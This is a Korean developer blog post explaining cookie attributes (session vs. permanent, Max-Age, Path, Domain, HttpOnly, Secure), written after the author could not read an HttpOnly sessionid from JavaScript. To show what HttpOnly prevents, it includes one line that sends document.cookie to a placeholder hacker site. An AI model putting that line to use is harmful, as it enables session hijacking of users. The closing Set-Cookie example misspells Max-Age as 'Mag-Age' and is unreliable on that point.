Search
🍪

쿠키에 대하여

게시일
2020/11/28
Tags
development

1. 삽질의 발단

1.
프론트앤드 개발을 진행하면서 로그인 여부를 확인하기 위해 sessionid 참조를 하였음
2.
근데 undefined가 나옴
3.
csrftoken 값을 가져오도록 해보았는데, 잘 돌아감
4.
csrftoken 값은 가져오는데, sessionid값은 못 가져오는지 모르겠어서 맨붕 중이었음
예시로 작성했던 코드
당시 sessionid의 쿠키 설정들

2. 쿠키 설정

Session cookie vs Permanent Cookie

Session cookie는 브라우저가 꺼지면 사라져 버리는 쿠키
반대로 Permanent cookie는 브라우저가 꺼져도 살아있는 쿠키를 의미함

Max-Age vs Expires Max-Age

Max-Age : 쿠키가 얼마동안 사는가 (초)
Expires: 쿠키가 언제 죽는가

Path & Domain

path
디렉토리를 지정을 하면 해당 디렉토리 하위에서만 쿠키가 노출됨. 상위엔 노출안됨.
예) /cookie 에 쿠키를 세팅을하면 / 에서는 안보이지만 lemonbase.com/cookie or lemonbase.com/cookie/sub 등에서는 보임
domain
example.com vs .example.com
test.example.com 으로 들어갔다고 하면 .example.com 으로 설정된 쿠키만 노출됨

보안관련 설정(중요)

HTTP Only: 자바스크립트의 document.cookie를 이용해서 쿠키에 접속하는 것을 막는 옵션입니다.
location.href = ‘http://해커사이트/?cookies=’+ document.cookie;
이런식으로 해커들에게 손쉽게 쿠키값을 모두 탈취당할 수 있음
자바스크립트를 통한 쿠키 탈취 방지
Secure: https로 통신하는 경우에만 cookie를 전송한다
네트워크를 직접 감청하여 쿠키를 가로채는 것을 방지
쿠키 자체가 암호화되어 전송하게 됨
개발자가 아래와 같은 코드를 작성하게 되면 http를 통해 쿠키값이 공개되버리는 실수를 방지
<img src="http://www.example.com/images/logo.png" />
JavaScript

3. 쿠키 설정 예시

'Set-Cookie': [ 'test_cookie=cookie-test', `Permanent=cookie; Mag-Age=${60*60*24*30}`, // 30일 'Secure=secure; Secure', 'http-only=HttpOnly; HttpOnly', 'path=path; Path=/cookie-cookie', 'Domain=domain; Domain=example.org' ]
JavaScript
TOP